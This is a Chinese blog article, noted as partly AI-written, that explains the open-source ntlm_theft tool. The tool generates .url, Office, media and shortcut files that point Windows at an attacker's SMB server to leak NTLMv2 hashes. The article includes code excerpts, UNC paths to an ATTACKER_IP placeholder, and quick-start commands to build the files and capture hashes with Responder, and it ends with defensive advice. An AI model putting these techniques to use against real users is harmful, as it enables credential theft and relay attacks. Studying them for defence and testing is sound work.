当前位置: 首页 > news >正文

ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理

ntlm_theft源代码解析:Python实现哈希窃取文件生成的核心原理

【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theft

ntlm_theft是一款由Jacob Wilkin开发的Python工具,能够生成多种类型的NTLMv2哈希窃取文件。该工具通过构造特殊格式的文件诱导目标系统发起SMB连接,从而捕获NTLM哈希,是网络安全渗透测试中的实用工具。本文将从核心原理、代码架构和实战应用三个维度,深入解析ntlm_theft的实现机制。

一、NTLM哈希窃取的核心原理

NTLM(NT LAN Manager)是Windows系统常用的身份验证协议,其认证过程中会产生可用于中继或破解的哈希值。ntlm_theft的工作原理基于以下关键机制:

1.1 协议缺陷利用

Windows系统在处理某些文件类型时,会自动尝试访问指定的网络资源。例如:

  • .url文件会读取IconFile字段指定的UNC路径
  • Office文档会加载外部模板或图片资源
  • 媒体文件会尝试解析远程播放列表

这些行为会触发SMB认证过程,客户端会向攻击者控制的服务器发送NTLM哈希。

1.2 多载体攻击策略

工具支持18种不同文件类型的攻击向量,包括:

  • 文档类:.docx(3种攻击方式)、.xlsx、.rtf、.pdf
  • 媒体类:.m3u、.asx、.wax
  • 系统类:.lnk、.scf、.url、.library-ms

每种文件类型通过特定字段构造UNC路径(\\ATTACKER_IP\resource),诱导目标系统主动发起认证请求。

NTLM哈希窃取攻击流程演示,左侧为工具生成的恶意文件,右侧为Responder捕获的哈希数据

二、代码架构与核心模块

ntlm_theft.py采用模块化设计,主要由参数解析、文件生成和模板处理三大模块组成。

2.1 参数解析模块

通过argparse实现灵活的命令行参数控制:

parser.add_argument('-g', '--generate', action='store', dest='generate', required=True, choices=set(("modern", "all", "scf", "url", ...)), help='Choose to generate all files or a specific filetype')

支持生成"all"(全部文件)、"modern"(现代系统适用)或指定单一文件类型,满足不同场景需求。

2.2 文件生成核心函数

每种文件类型对应独立的生成函数,如create_docx_includepicturecreate_xlsx_externalcell等。以URL文件生成为例:

def create_url_url(generate, server, filename): file = open(filename,'w') file.write('''[InternetShortcut] URL=file://''' + server + '''/leak/leak.html''') file.close()

通过写入特定格式的内容,使系统在解析时触发SMB连接。

2.3 模板引擎机制

对于复杂文件类型(如.docx),工具采用模板替换技术:

  1. templates/目录加载预定义的文件模板
  2. 替换模板中的占位IP地址(127.0.0.1)为攻击者服务器IP
  3. 打包生成最终文件

关键实现代码:

documentfilename = os.path.join(script_directory,"templates", "docx-includepicture-template") filedata = filedata.replace('127.0.0.1', server) shutil.make_archive(filename, 'zip', "docx-includepicture-template") os.rename(filename +".zip",filename)

三、实战应用与效果验证

3.1 快速上手步骤

  1. 克隆仓库:git clone https://gitcode.com/gh_mirrors/nt/ntlm_theft
  2. 生成攻击文件:python ntlm_theft.py --generate all --server 192.168.1.100 --filename test
  3. 在目标系统打开生成的文件
  4. 使用Responder捕获哈希:responder -I eth0

3.2 生成文件示例

工具会在当前目录创建以指定文件名命名的文件夹,包含所有生成的攻击文件:

工具生成的多种类型攻击文件,包括.url、.docx、.pdf等

3.3 现代系统兼容性

代码中特别标记了对现代Windows系统的支持情况:

if generate == "modern": print("Skipping SCF as it does not work on modern Windows") return

对于已修复漏洞的文件类型(如.scf、.desktopini),在"modern"模式下会自动跳过。

四、防御与缓解措施

针对NTLM哈希窃取攻击,建议采取以下防御策略:

  1. 禁用NTLM认证,使用Kerberos
  2. 启用SMB签名
  3. 限制UNC路径访问
  4. 部署高级威胁防护解决方案
  5. 对可疑文件进行沙箱分析

总结

ntlm_theft通过巧妙利用Windows系统特性,实现了多种文件类型的NTLM哈希窃取功能。其模块化设计和模板机制使其具有良好的可扩展性,可轻松添加新的攻击向量。安全从业人员可通过研究该工具深入理解NTLM认证过程和防御方法,提升网络安全防护能力。工具源码可在项目根目录的ntlm_theft.py中查看完整实现。

【免费下载链接】ntlm_theftA tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)项目地址: https://gitcode.com/gh_mirrors/nt/ntlm_theft

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

http://www.jsqmd.com/news/447175/

相关文章:

  • 微信小程序开发完整指南:从组件到云开发的实战教程
  • Crabviz支持哪些编程语言?一文了解LSP驱动的跨语言调用图生成能力
  • Opa vs 传统Web开发:为什么选择函数式语言构建前端应用?
  • MobileNet-Caffe核心代码解析:eval_image.py如何实现图像预测
  • AI驱动元宇宙应用的多模态生成:文本_图像_语音的融合架构
  • DeepSearcher分布式部署终极指南:多节点协同处理方案深度解析
  • 5分钟掌握PHP HTTP消息接口:构建标准化Web应用的核心指南
  • 团队协作新姿势:用Dockerized统一开发工具版本的实战技巧
  • postgresql-event-sourcing快照机制:提升事件溯源性能的关键技巧
  • HTTP-Message性能调优终极指南:5个减少内存占用的流处理技巧
  • Docker4Drupal常见问题排查:从容器启动失败到数据持久化全解决
  • 人工智能伦理评估终极指南:如何用Neorg记录专业咨询过程
  • 如何高效管理Twitter DistributedLog:功能控制与运维实践全指南
  • 为什么Eyeballer是渗透测试工程师的必备AI工具?5大核心功能深度解析
  • 终极指南:Elasticsearch-SQL ExtendedStatsBucket 扩展统计桶聚合完整教程
  • DLL注入新手必看:GH-Injector-Library解决PDB下载与符号解析难题
  • 终极指南:Twitter DistributedLog 监控系统配置与性能优化详解
  • Opa标准库详解:掌握Web开发的核心工具集
  • Flutter响应式管理面板终极指南:如何打造跨平台数据可视化仪表盘
  • 微信小程序语音识别与语音合成完整指南:打造智能语音交互应用
  • 终极指南:如何使用DistributedLog实现高效多流写入与负载均衡
  • 破解字符串难题:CompetitiveProgrammingQuestionBank中的KMP与Rabin-Karp算法详解
  • INFO8010 Deep Learning课程视频与资料汇总:一站式学习资源导航
  • 如何为 Twitter DistributedLog 设计高性能硬件架构:从容量规划到部署优化
  • django-devserver:Django开发服务器的终极替代品,5大核心功能彻底提升开发效率
  • FlyDB核心组件探秘:一文读懂数据存储与索引实现原理
  • Dockerized vs 传统安装:为什么容器化命令行工具更胜一筹?
  • 告别重复编码:Rum框架Mixin模式的7种实战方案与性能优化指南
  • 如何快速构建高性能分布式日志系统:Twitter DistributedLog 完整指南
  • LoRA模型训练效率提升300%:LoRA_Easy_Training_Scripts高级技巧分享